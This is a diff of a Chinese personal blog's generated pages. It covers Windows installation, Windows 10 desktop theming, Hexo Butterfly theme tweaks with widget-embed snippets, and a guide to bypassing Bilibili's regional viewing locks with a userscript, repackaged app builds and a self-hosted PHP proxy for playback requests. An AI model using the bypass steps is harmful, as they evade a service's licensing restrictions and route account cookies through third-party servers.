Windows安装源请选择.\sources\install.wim或者.\sources\install.esd,引导驱动器选择你想要安装Windows的盘符(对单系统而言),安装驱动器选择你要安装Windows的盘符。

+

下面的版本选项选择你需要的版本,优化调整根据自己的需要调整。下面是我一般会选择的东西

+

+

调整完以后点开始安装即可!

+

1.6、安装完成

安装完成后,电脑将自动重启,请移除你的U盘,等待系统启动,并且根据提示设置你的电脑!

+

2.2、使用软碟通写入镜像

打开软碟通(以管理员身份运行),将你的Windows镜像拖入右边上面的框里面并双击打开(如果弹出提示请点“是”)

+

+

在上面的导航栏中选择启动–>写入硬盘映像,如果弹出UAC提示请点击是,就会出现写入页面(如下图)

+

+

点击写入,注意:此操作会清除你U盘的所有数据,包括所有分区!!!一旦你明白注意事项,点“是”就可以写入了

+

+

等待写入完成,重启电脑进入BOOT Menu,从U盘启动(UEFI优先)

+

2.3、安装Windows

根据提示安装,如果提示说无法安装,请点击下面的详细信息,根据内容百度解决,这里我提供最常见的一种情况

+

提示:Windows 无法安装到这个磁盘。选中的磁盘具有MBR分区表。在 EFI 系统上,Windows 只能安装到 GPT 磁盘。

+

方法:利用DiskGenius或者傲梅分区助手,将硬盘转换为GUID格式即可

+

+

安装完后,系统会自动重启,请移除你的U盘!

+

2.4、安装完成

系统已经安装完成,请根据系统提示配置你的电脑!

+

下次有谁再问我怎么装系统,或者有人问你怎么装系统,请把这篇文章给他/她看!

如果有什么问题,可以在评论区内告诉我,推荐使用Github账号登录,这样我可以快速找到你!
封面原图出处

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Windows-Setup/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Windows10-Beautify/index.html b/posts/Windows10-Beautify/index.html new file mode 100644 index 0000000000..cb4bacb043 --- /dev/null +++ b/posts/Windows10-Beautify/index.html @@ -0,0 +1,329 @@ +Windows10美化笔记 | GamerNoTitle + + + + + + + + + + + + + +

Windows10美化笔记

这几天在折腾Win10的美化,本来是想在某美化网站上下载主题包来美化的(这里有两个美化主题包需要自取 主题① | 主题②),但是实在是太麻烦了(具体怎么麻烦我把教程放出来你们感受一下),于是我决定自己来……

+
+

最后效果如图↓

+

美化结果

+
+

第一步:寻找壁纸

壁纸这个问题,当然是要去P站啦(当然是Pixiv啦,在想什么啦)

+

壁纸搜索

+

因为是美化向,所以壁纸的风格建议是不要太辣眼睛。这里的辣眼睛是指颜色不要太多,色差不要太大,我这里找的图是一张颜色集中在蓝色的图片,地址在这里https://www.pixiv.net/artworks/79898339(图片太大,一张图15.2MB,就不放原图了)

+

像下面这两张图这样的,第一张太亮,第二章色彩太繁杂的我是真的不推荐,当然你喜欢那我也没什么说的嘛

+

不推荐类型1:太亮

+

原图地址:https://www.pixiv.net/artworks/79925515

+

不推荐类型2:色彩繁杂

+

原图地址:https://www.pixiv.net/artworks/79923171

+

如果有人执意使用过量的图片的话,我这里有个建议,可以到PS里面把图片的亮度拉低一点,这样子不会看起来那么亮眼。

+

第二步:安装插件

这里我安装的插件有以下几个:

+

1、小黄条TODO

+

2、雨滴桌面

+

3、TranslucentTB汉化版Github汉化)(微软商店有,可以自己去微软商店里面搜索)

+

第一个是一个ToDo的列表,就是我左上角的那个Todo列表,有点类似便签,免费版绝对够个人使用,付费也就是多了云端存储而已

+

第二个相信不用多说,桌面小挂件,雨滴桌面非常好用

+

第三个是任务栏透明,可以调整各种参数,例如窗口最大化后任务栏的外观等等,微软商店有,如果上面的链接打不开就去微软商店里面搜索

+

第三步:放置图标

如果真的要美化,相信微软自带的自动排列图标只是一个累赘,所以我们要把它关掉,然后把图标放在自己喜欢的位置。我的建议是把图标放在壁纸偏暗的地方或者是色块比较均匀的地方,没有太多的颜色变化的地方。放好了以后,各种应用的图标摆在一起,风格也不统一,我们就需要使用图标包来替换。

+

图标更换

+

这里我使用的是Pure轻雨图标包,在酷安上有手机版,电脑的这一套是我从网上找的,但是我没法发出来(蓝奏云的限制太烦了),所以还是请你们自己去网上找吧,当然你也可以使用其他的图标包。右击桌面上的快捷方式,选到属性,然后选更改图标,选到自己的图标点确定即可

+

把自己的应用图标更改好,放在自己喜欢的位置,就完成了图标的管理工作

+

图标放置

+

第四步:配置雨滴

雨滴的小挂件就是它的亮点,我们需要配置一下自己的小挂件。我这里分享一些小挂件,需要的同学可以自己拿 传送门

+

一开始雨滴的那些黑色的挂件太丑了,我们可以右键它选择关闭皮肤来删除掉它

+

雨滴默认欢迎界面

+

关闭欢迎界面

+

皮肤共有两种安装方式:如果你拿到的是后缀名为.rmskin的,恭喜你,这是安装最简单的皮肤,直接双击安装即可!但是如果你拿到的是一个文件夹,别担心。你可以访问目录

+

C:\Users\%USERNAME%\Documents\Rainmeter\Skins,将自己的皮肤拖入;或者直接右击托盘里面的雨滴,选到皮肤,打开皮肤目录,也可以打开这个文件夹。拖入后右击托盘中的雨滴,点击管理,然后点击左下角的刷新全部就可以载入皮肤了!

+

然后就右击托盘里面的雨滴图标,选择皮肤,再选择自己的皮肤包里面的所需挂件,点击就可以加入到桌面上了

+

加入挂件

+

将挂件拖动到合适的位置,你就完成自己的美化啦!

+
+

我的皮肤配置:

Live 4 Music\In Out

+

Live 4 Music\DIgital Circles

+

Live 4 Music\Cpu Ram

+

Simple Clean\音乐频谱

+

系统信息Bars_II_by_Rasylver\Bars II\WIFI

+

系统信息Bars_II_by_Rasylver\Bars II\RAM

+

系统信息Bars_II_by_Rasylver\Bars II\CPU

+

这些皮肤在我发的文件里面都有,链接在上面,需要的可以自己取用。

+
+

题外话:

二月就过去了,学校还没开学,上网课感觉不是很在状态……

+

下周土命2就开新赛季了,本赛季等级120,下赛季冲个35就好了

+

想玩VR……

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Windows10-Beautify/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/biliRoaming/index.html b/posts/biliRoaming/index.html new file mode 100644 index 0000000000..60ce9d4aea --- /dev/null +++ b/posts/biliRoaming/index.html @@ -0,0 +1,313 @@ +收看B站港澳台地区番剧的正确方式 - 哔哩漫游biliRoaming | GamerNoTitle + + + + + + + + + + + + + + + + +

收看B站港澳台地区番剧的正确方式 - 哔哩漫游biliRoaming

本文禁止转载,也禁止大范围转发宣传!

+
+ +

因为某些众所周知的原因,有些番在B站只能在港澳台观看,而我们平时观看港澳台番剧会出现下面这张图的情况

+

PC端

+

Android端(有些可能会写“您所在的区域不支持观看”)

+

对于我这种追番老手来说,这可是不能接受的一件事情。而在我早期搜索B站港澳台的时候,发现了能够突破这种限制的油猴脚本bilibili-helper/README.md at user.js · ipcjs/bilibili-helper (github.com),以前这个脚本使用的是biliPlus的服务器,但是后来因为一封律师函,所以就只能自建服务器了(后面会说)

+

下面我将带领大家一步一步突破港澳台限制

+

PC端

首先你需要给浏览器装上油猴插件(这里不讲),然后打开这个链接解除B站区域限制 (greasyfork.org),安装这个插件

+

然后当你打开某一个番剧的详情页(不一定要港澳台的),有一个设置按钮(就是图片里面这个有点像星球的这个按钮)

+

+

点开以后在里面填写服务器,服务器可以参照哔哩漫游提供的公共服务器 公共解析服务器 · yujincheng08/BiliRoaming Wiki (github.com),也可以自建(这里不讲,哔哩漫游的wiki里面有,自己找)

+

+

我这里填的是自建服务器,因为额度有限就不共享了,upos服务器建议换成ks3(金山),比较稳定

+

这时候你再访问番剧页面,它就会自动给你获取港澳台的番剧看了

+

+

安卓端

你需要安装xposed框架并安装哔哩漫游模块 Releases · yujincheng08/BiliRoaming (github.com)

+

当然,如果你不是高玩,你也可以下载已经把模块集成在主程序的B站,官方下载地址是这个 -> https://wwe.lanzoux.com/b015ll4sb 2333

+

我自己打包的是这个 -> [Lspatch] [Roaming-1.6.2] 哔哩哔哩 6.69.0 [Lspatch] [Roaming-1.6.2] 哔哩哔哩HD 1.17.0

+

安装完成后,在设置中找到哔哩漫游设置,并按照我这样设置(解析服务器自己填,这里拿HD来做例子)

+

打开前三个选项

+

填入解析服务器

+

Upos更改为k3c

+

完成后直接点确定并重启客户端,然后就能看港澳台番剧了

+

苹果iOS端

你在想Peach?

+

Q&A

为啥只能看6分钟

因为有些番需要大会员才能看,没有大会员只能看前6分钟,所以你需要在PC端的设置页面点击账号授权(请不要给陌生的解析服务器授权,因为这会把你所有的账号信息,包括Cookie共享到服务器

+

自建解析服务器

我只在这里放出PHP版本的代码,我使用阿里云的云函数创建的,因为这种东西还是少人知道比较好我就不放出来我的服务器和搭建方法了,具体方法自行摸索(这个版本没有在线黑名单,要分享的时候请谨慎!其他的版本在官方的wiki有)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
<?php

use RingCentral\Psr7\Response;
/*
To enable the initializer feature (https://help.aliyun.com/document_detail/89029.html)
please implement the initializer function as below:
function initializer($context) {
echo 'initializing' . PHP_EOL;
}
*/

function handler($request, $context): Response
{
/*
$body = $request->getBody()->getContents();
$queries = $request->getQueryParams();
$method = $request->getMethod();
$headers = $request->getHeaders();
$path = $request->getAttribute('path');
$requestURI = $request->getAttribute('requestURI');
$clientIP = $request->getAttribute('clientIP');
*/
/* Config */

$upstream_pc_url = 'https://api.bilibili.com/pgc/player/web/playurl';
$upstream_app_url = 'https://api.bilibili.com/pgc/player/api/playurl';
$timeout = 5; // seconds


/* Read incoming request */
$request_method = $request->getMethod();
$request_query = stristr($request->getAttribute("requestURI"), '?');
$req_referer = $request->getHeaderLine('referer');;
$request_headers = $request->getHeaders();
$request_body = $request->getBody()->getContents();



/* Forward request */
$ch = curl_init();

//清理相关header
array_splice($request_headers, array_search('HOST', $request_headers));
array_splice($request_headers, array_search('User-Agent', $request_headers));
array_splice($request_headers, array_search('Referer', $request_headers));


$headers = array();
foreach ($request_headers as $key => $value) {
$headers[] = $key . ': ' . $value;
}
//判断使用pc还是app接口
if (substr_count($request_query, 'platform=android') != 0) {
$url = $upstream_app_url . $request_query;
curl_setopt($ch, CURLOPT_USERAGENT, 'Bilibili Freedoooooom/MarkII');
} else {
$url = $upstream_pc_url . $request_query;
curl_setopt($ch, CURLOPT_REFERER, $req_referer);
}
//curl配置
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $request_method);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request_body);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
$header = array();

if ($response === false) {
$header['Content-Type'] = 'text/plain';
return new Response(
502,
$header,
'Upstream host did not respond.'
);
} else {
$header_length = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$curl_response_headers = explode("\n", substr($response, 0, $header_length));
$response_body = substr($response, $header_length);

foreach ($curl_response_headers as $header_string) {
$header_tmp = explode(': ', $header_string, 2);
if (count($header_tmp) == 2) {
$header[$header_tmp[0]] = trim($header_tmp[1]);
}
}

curl_close($ch);
// 这行用于调试请求信息
// return new Response(200, array(), json_encode(array('header' => $header, 'body' => $response_body, 'url' => $url, 'response'=>$response, 'curl_headers'=>$curl_response_headers)));
return new Response(
200,
$header,
$response_body
);
}
}

/*tool*/
//某个字符串在另一个字符串第N此出现的下标
function str_n_pos($str, $find, $n)
{
$pos_val = 0;
for ($i = 1; $i <= $n; $i++) {
$pos = strpos($str, $find);
$str = substr($str, $pos + 1);
$pos_val = $pos + $pos_val + 1;
}
$count = $pos_val - 1;
return $count;
}
+ +
Author: GamerNoTitle
Link: https://bili33.top/posts/biliRoaming/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/butterfly-customize/index.html b/posts/butterfly-customize/index.html new file mode 100644 index 0000000000..016df44088 --- /dev/null +++ b/posts/butterfly-customize/index.html @@ -0,0 +1,566 @@ +hexo-theme-butterfly主题美化小笔记 | GamerNoTitle + + + + + + + + + + + + + + + +

hexo-theme-butterfly主题美化小笔记

在正式讲博客的美化之前,我想先感谢@jerryc能够带来这么棒的主题~如果你同样想使用butterfly主题,你可以去查看安装文档

+
+ +

如果你想让我在butterfly中添加新功能,你可以直接在本文章下方留言,我会尽量满足

+

另:

+
+ +

话不多说,让我们开始吧!

+

注:写这篇文章的时候我的主题版本是2.1.0

+
+

友链界面加入更多的自定义文字

+ +

关于友链界面,我加入了很多内容,如A Few Requirements和下面的PS就是我加入的。

+

更多的内容

+

之前闲着没事翻了一下主题的layout文件夹,里面的文件都已经命好名了,所以说一看我就知道哪个文件对应哪个部分,而我需要修改的就是flink.pug这个文件

+

原来它长这样:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.flink
each i in site.data.link
h1= i.class_name
.post-cards
ul.md-links
each item in i.link_list
li.md-links-item
a(href=item.link title=item.name target="_blank")
if theme.lazyload.enable
img.lazyload(data-src=item.avatar onerror=`this.onerror=null;this.src='` + url_for(theme.lodding_bg.flink) + `'` alt=item.name )
else
img(src=item.avatar onerror=`this.onerror=null;this.src='` + url_for(theme.lodding_bg.flink) + `'` alt=item.name )
.md-links-title= item.name
.md-links-des= item.descr

hr
div
h2= theme.Flink.info_headline
ul
li= theme.Flink.name
li= theme.Flink.address
li= theme.Flink.avatar
li= theme.Flink.info

hr
.comment_int
p.comment-word= theme.Flink.comment
+ +

尽管我不是很懂pug这个东西,但是我还是能看懂代码的内容,其中hr就是一条分割线,所以说区块就用分割线来分开就好了。

+

最开始使用这个主题的时候(当时版本应该是1.2.0,还没有按钮分级),在做友链界面的时候,我这边就有人对我的数字提出了疑问,然后我就加入了下面那行PS:本文所有的数字表示方式来自Mili - world.execute(me);

+

flink.pug中加入:

+
1
p(style="font-size:9px;font-weight:bold")= theme.Flink.PS
+ +

然后在butterfly的配置文件中加入一行

+
1
PS: PS:本文所有的数字表示方式来自Mili - world.execute(me); # PS内容,在flink自加的
+ +

就可以在友链界面加入自定义的内容了

+

至于A Few Requirements区块在更新2.1.0后用同样的方式加入的

+

flink.pug加入:

+
1
2
3
4
5
6
7
8
9
10
11
hr
div
h2= theme.Flink.require_headline
ul
li= theme.Flink.requirement1
li= theme.Flink.requirement2
li= theme.Flink.requirement3
li= theme.Flink.requirement4
li= theme.Flink.requirement5
li= theme.Flink.requirement6

+ +

有多少的requirement就加入多少行,然后在配置文件butterfly.yml用同样的方式加入

+
1
2
3
4
5
6
7
require_headline: A Few Requirements
requirement1: GamerNoTitle表示不接受商业性网站、下载站、视频站等
requirement2: HTTP和HTTPS均可,不强制性要求小绿锁,但是只有一个IP或者带端口的不接受哦
requirement3: 网站要有维护,定期或不定期均可,线下朋友请忽略这一条
requirement4: 可以先在自己的网站加上我的友链,我处理的速度也会快一些呢~
requirement5: 大佬可以无视上面的要求,并加入“大佬之家”行列
requirement6: 如果你想联系我,在About页面中有我的相关联系方式
+ +

就可以了~

+

友链链接区块加入一行小字

Butterfly忘了哪个版本(我发现的时候是2.3.5)后不再需要此方法!

+ +

效果就像图片里面的那样

+

小字效果图

+

其实这个也很简单,跟上面一样还是要动flink.pug文件,在最顶上那一块代码中加入一行,将所需的字典名字命名为class_descr,加入后的代码如下

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.flink
each i in site.data.link
h1= i.class_name
h4= i.class_descr //- 给每个class加入class_descr参数
.post-cards
ul.md-links
each item in i.link_list
li.md-links-item
a(href=item.link title=item.name target="_blank")
if theme.lazyload.enable
img.lazyload(data-src=item.avatar onerror=`this.onerror=null;this.src='` + url_for(theme.lodding_bg.flink) + `'` alt=item.name )
else
img(src=item.avatar onerror=`this.onerror=null;this.src='` + url_for(theme.lodding_bg.flink) + `'` alt=item.name )
.md-links-title= item.name
.md-links-des= item.descr
+ +

然后在link.yml的每一个class中就可以加入descr了,这里以一个区块做例子

+
1
2
3
4
5
6
7
8
9
10
class2:
class_name: DOS 私人服务
class_descr: 我个人在使用的不同网络服务,在这里列出(^U^)ノ~YO # 这里填入描述
link_list:
1:
name: CloudFlare
link: https://www.cloudflare.com/
avatar: https://dash.cloudflare.com/favicon.ico
descr: 免费的域名托管平台

+ +

class_name下面加入一行参数叫class_descr并设定为想要的内容即可,当然你也可以加在link_list的下面,但是请注意缩进要跟class_namelink_list平齐

+

加入基于Gitalk的动态栏小部件

这个部件最开始是在@火喵的博客看到的,然后就发了邮件问了一下是怎么实现的

+

+

感谢@火喵提供的思路~!

+

然后我参照了Gitalk的文档,用一个非常简单的什么都没有的html文件来装我这个Gitalk,正因为只有Gitalk,所以整个html文档就很简单

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<head>  
<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@gitalk-css/css/gitalk-dorcandy.css"> <!-- 导入自己修改过后的css文件,参照了火喵的 -->
<script src="https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@gitalk/js/gitalk.min.js"></script> <!-- 导入自己修改后的js文件,主要修改了显示的字 -->
</head>
<body>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
id: 'Dynamics',
clientID: 'xxxxxxxxxxxxxxxxxxxx',
clientSecret: 'xxxxxxxxxxxxxxxxxxxxxxxxx',
repo: 'GamerNoTitle.Github.io',
owner: 'GamerNoTitle',
admin: ['GamerNoTitle'],
title: 'Dynamics',
pagerDirection: 'last',
perPage: 5,
})
gitalk.render('gitalk-container')
</script>
</body>
+ +

其中,pagerDirection本来是排序的顺序,但是按照Gitalk的issue#210中官方所述,不登录的话排序顺序只能是从旧到新,所以我也没办法,我采取的操作是一个issue中只容纳5条动态,历史动态就放到另外的issue中

+

将这个html文件命名一下为gitalk.html,然后放在主题目录的source文件夹下,然后进入.\layout\includes\widget文件夹,将card_announcement.pug(公告卡片)复制一份作为模板并且重命名为card_dynamics.pug,然后打开修改里面的内容。原来里面的内容如下

+
1
2
3
4
5
6
.card-widget.card-announcement
.card-content
.item-headline
i.fa.fa-bullhorn.card-announcement-animation(aria-hidden="true")
span= _p('aside.card_announcement')
.announcement_content= theme.announcement.content
+ +

在这里面,span应该是显示的字(如图红框处)

+

+

但是我加入的字不在语言配置文件中有,所以直接修改成

+
1
span= 'Dynamics'
+ +

就可以了,接着是要修改图标,作为动态,一个小喇叭的图标显得不是很好看。所以我就访问了Fontawesome@v4.7.0,选择了现在的这个图标

+

将图标的信息修改为

+
1
i.fa.fa-quote-right(aria-hidden="true")
+ +

图标后面的那串动画就不要了,动画多了也不是很好看

+

最后需要引入Gitalk.html文件,在下面加入一行

+
1
include gitalk.html
+ +

这样当部署完后,网站就会自动引用根目录下的gitalk.html文件。当然你要是直接访问我的gitalk.html文件也是能打开的

+

接着我们需要在网站的渲染中加入这个小部件

+

打开此目录下的index.pug,然后将这个引入加在认为合适的地方,我直接加载了公告的下面

+
1
2
if theme.aside.card_dynamics
include ./card_dynamics.pug
+ +

最后到butterfly.yml文件中,加入小部件的开关

+
1
2
3
4
5
6
7
8
9
10
aside:
position: right # left or right
card_author: true
card_announcement: true
card_recent_post: true
card_categories: true
card_tags: false
card_archives: true
card_webinfo: true
card_dynamics: true # 动态开关
+ +

部署自己的网页,就能够出现这种效果啦!

+

当然你要是在上面不要if判断,直接加入,那你就不需要在配置文件中加入开关了

+

Dynamics小部件

+

2020.4.4更新 主题版本butterfly@2.2.5

+
+ +

为网站加上全局黑白效果

为什么加这个效果呢?我一开始加是2020.4.4为了纪念为抗争新冠肺炎而牺牲的各位烈士们,所以加了全局的黑白效果。先放两张图给你们看看加入后的效果

+

黑白首页

+

黑白友链

+

就是像这样的全局黑白效果,加起来其实也不难,一开始@yuleng给我分享了全局黑白的html代码,告诉我要加就加载header或者是body里面(下面先放html代码)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
<!-- 黑白色 -->
<style>
html{
filter: grayscale( 100%);
-webkit-filter: grayscale( 100%);
-moz-filter: grayscale( 100%);
-ms-filter: grayscale( 100%);
-o-filter: grayscale( 100%);
filter: url( "data:image/svg+xml;utf8,<svg xmlns=\'http://www.w3.org/2000/svg\'><filter id=\'grayscale\'><feColorMatrix type=\'matrix\' values=\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\'/></filter></svg>#grayscale");
filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);
-webkit-filter: grayscale( 1);
}
</style>
+ +

但是我们的butterfly后端是使用的pug文件作为网站样式的编写方式,所以我们要先把它转成pug形式的,转出来就是像下面这样

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
html
body
// 黑白色
style.
html{
filter: grayscale( 100%);
-webkit-filter: grayscale( 100%);
-moz-filter: grayscale( 100%);
-ms-filter: grayscale( 100%);
-o-filter: grayscale( 100%);
filter: url( "data:image/svg+xml;utf8,<svg xmlns=\'http://www.w3.org/2000/svg\'><filter id=\'grayscale\'><feColorMatrix type=\'matrix\' values=\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\'/></filter></svg>#grayscale");
filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);
-webkit-filter: grayscale( 1);
}

+ +

然后我把这一串代码存到一个名为blackandwhite.pug的文件,将它放在主题目录下的layout/includes/addons里面,然后就要在layout.pug里面引入文件。在原文件的include ./head.pug下面加入一行来引入我们的文件

+
1
2
if theme.blackandwhite
include ./addons/blackandwhite.pug
+ +

加个if判断是为了下次要使用的时候还能够用,不用再次修改。

+

接着我们到butterfly.yml文件内加多一行

+
1
blackandwhite: true
+ +

这样就开启了我们的黑白效果

+

为了方便大家,我将文件放出来blackandwhite.pug,大家只需要将文件放在对应的位置,加上对应的配置项即可!

+

2020.4.7更新 主题版本butterfly@2.2.5

+
+ +

为文章加上投票评分功能

按照群友的要求,我又来更新啦,这次我们给文章加上投票评分功能,具体的效果像下面那样(Donate按键是主题自带的,不是我加入的)

+

Rating UI

+

那么废话不多说,让我们直接开始!(如果你想直接使用我做好的只需要替换id的预设文件,那你可以点击这里直接跳到文档,而不必看我是如何做的)注册一个你自己的账号,注册过程相信我不用说你也会。注册完以后,会把我们导到安装界面,我们选择最右边的Rating widget,获取我们自己的引入代码,等待下一步使用,我这里获取到的引入代码如下(为保证信息准确性,我将自己的id替换成了xxxxx)

+

首先你得去widgetpack注册一个你自己的账号,注册过程相信我不用说你也会。注册完以后,会把我们导到安装界面,我们选择最右边的Rating widget,获取我们自己的引入代码,等待下一步使用,我这里获取到的引入代码如下(为保证信息准确性,我将自己的id替换成了xxxxx)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<div id="wpac-rating"></div>
<script type="text/javascript">
wpac_init = window.wpac_init || [];
wpac_init.push({widget: 'Rating', id: xxxxx});
(function() {
if ('WIDGETPACK_LOADED' in window) return;
WIDGETPACK_LOADED = true;
var mc = document.createElement('script');
mc.type = 'text/javascript';
mc.async = true;
mc.src = 'https://embed.widgetpack.com/widget.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(mc, s.nextSibling);
})();
</script>
<a href="https://widgetpack.com" class="wpac-cr">Star Rating WIDGET PACK</a>
+ +

接着,我们要在对应的地方引用它,但是butterfly是使用pug和stylus的组合来进行渲染的,所以我们要先把上面的这一串代码转成pug形式的

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
html
body
#wpac-rating
script(type="text/javascript").
wpac_init = window.wpac_init || [];
wpac_init.push({widget: 'Rating', id: xxxxx});
(function() {
if ('WIDGETPACK_LOADED' in window) return;
WIDGETPACK_LOADED = true;
var mc = document.createElement('script');
mc.type = 'text/javascript';
mc.async = true;
mc.src = 'https://embed.widgetpack.com/widget.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(mc, s.nextSibling);
})();
a.wpac-cr(href="https://widgetpack.com") Star Rating WIDGET PACK
+ +

然后将其保存成rating.pug,放到./layout/includes/addons里面去。不过在这代码里面,投票UI不是居中的就让我很不上,而且最后一行有一串a标签,然而我并不是很喜欢它,我将代码改成了下面这个样子(这里把id改成了变量,可以在butterfly.yml里面修改)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
html
body
#wpac-rating(align="center")
script(type="text/javascript").
wpac_init = window.wpac_init || [];
wpac_init.push({widget: 'Rating', id: !{theme.rating.id}}); //- 这里将xxxxx改成自己的id
(function() {
if ('WIDGETPACK_LOADED' in window) return;
WIDGETPACK_LOADED = true;
var mc = document.createElement('script');
mc.type = 'text/javascript';
mc.async = true;
mc.src = 'https://embed.widgetpack.com/widget.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(mc, s.nextSibling);
})();
//- 下面的那行小字 如果你不需要可以把17~21行注释掉
#copy(align="center")
| Rating addon based on
a(herf="https://widgetpack.com/") widgetpack
| , by
a(href="https://bili33.top") GamerNoTitle

+ +

保存完成后,我们进入./layout/post.pug里面对我们的文件进行引入,在合适的位置添加引入代码,我这里是在打上的下面进行了添加

+
1
2
3
4
5
if theme.reward.enable
!=partial('includes/post/reward', {}, {cache:theme.fragment_cache})
//- 上面是打赏功能,下面是添加的投票功能
if theme.rating.enable
include includes/addons/rating.pug
+ +

接着,我们到butterfly.yml里面加入新的配置项

+
1
2
3
rating:
enable: true
id: 00000
+ +

这样就加入了一个开关(不过是全局的),可以控制rating功能是否开启(讲真我觉得这个功能我自己用的很少,我自己应该会关掉)

+

接着我们就可以部署自己的应用啦,看看是不是可以开始投票了呢?

+

关于投票的设定,默认是需要社交账号登录的,但是看着这几个图标,又有几个是在国内能够使用的呢?

+

社交账号登录方式

+

我们需要更改这个设定,让其不需要社交账号登录也能够进行投票

+

点开左上角的三条横线,选择Rating,然后点击里面的Setting,在这里面就有我们需要的设置

+

Rating设置

+

我们可以看到左边的框选择的是Social,我们可以选择IP address或者Cookies的任意一个,这取决于你要怎么计算你的文章投票,如果选择IP的话,那么同公网IP下的一个人进行了投票,剩下的人就不能够投票了(会怎么点都没反应);选择Cookie的话,可能会存在刷票的问题(因为cookie是可以清理的,但是谁这么无聊呢?)

+

至于右边,可以选择星星的颜色,我这里选择的是淡蓝色;你还可以设置星星上限,默认是5星满分,你可以把它改成你想要的数字,而另一个输入框是设定星星的大小,取决于你自己的审美吧

+

最终效果图

+

评分预设文档使用

首先你需要点击这里下载预设文件

+

在这文档里面,你需要修改的是id。如何获取id,你可以查看下面这张图片

+

获取自己的应用id

+

把文件放入./layout/includes/addons(若不存在则自己建立文件夹)

+

打开自己的butterfly.yml文件,在任意一行加入以下内容:

+
1
2
3
4
# 投票评分功能
rating:
enable: true
id: 00000 # 请改成你自己的ID
+ +

然后去到./layout/post.pug里面,在你想要加入投票功能的位置加入以下代码(推荐加载打赏即reward后面)

+
1
2
if theme.rating.enable
include includes/addons/rating.pug
+ +

然后对网站进行部署即可!

+

2020.4.5更新 主题版本butterfly@2.2.5

+
+ +

为网站加入实时对话功能

Butterfly@3.0.0-rc1以后自带此功能

+ +

与其说是实时对话,怎么感觉像客服系统?(某群友想弄然后我先给搞出来了,接着他自己在我发文前弄好了)这次使用的是Daovoice,照例我们先上一张效果图(如果想直接使用预设文档的话你可以点这里)(注:本站未开启此功能)

+

按钮效果图

+

展开效果图

+

是不是很像客服系统?然而你就是可以把它玩成聊天软件,话不多说,让我们开始吧!

+

首先我们需要在Daovoice上面注册一个账号,添加我们自己的应用。添加完了以后,daocloud会给我们一些代码,需要我们加入到head中,并使用script调用才能出现右下角的那个按钮对话按钮

+

新办法

这里感谢@GarveyZhong提供的新方法思路

+
+ +

预设文档点这里

+

我们先把daovoice给我们的两串代码整合一下

+
1
2
3
4
5
6
7
<script>
(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/xxxxxxxx.js","daovoice")
daovoice('init', {
app_id: "xxxxxxxx"
});
daovoice('update');
</script>
+ +

接着把它转成pug形式(这里已经将appid作为一个变量,感谢@青苏告诉我pug变量的正确写法)

+
1
2
3
4
5
6
7
8
html
body
script.
(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/!{theme.daovoice.appid}.js","daovoice")
daovoice('init', {
app_id: "!{theme.daovoice.appid}",
});
daovoice('update');
+ +

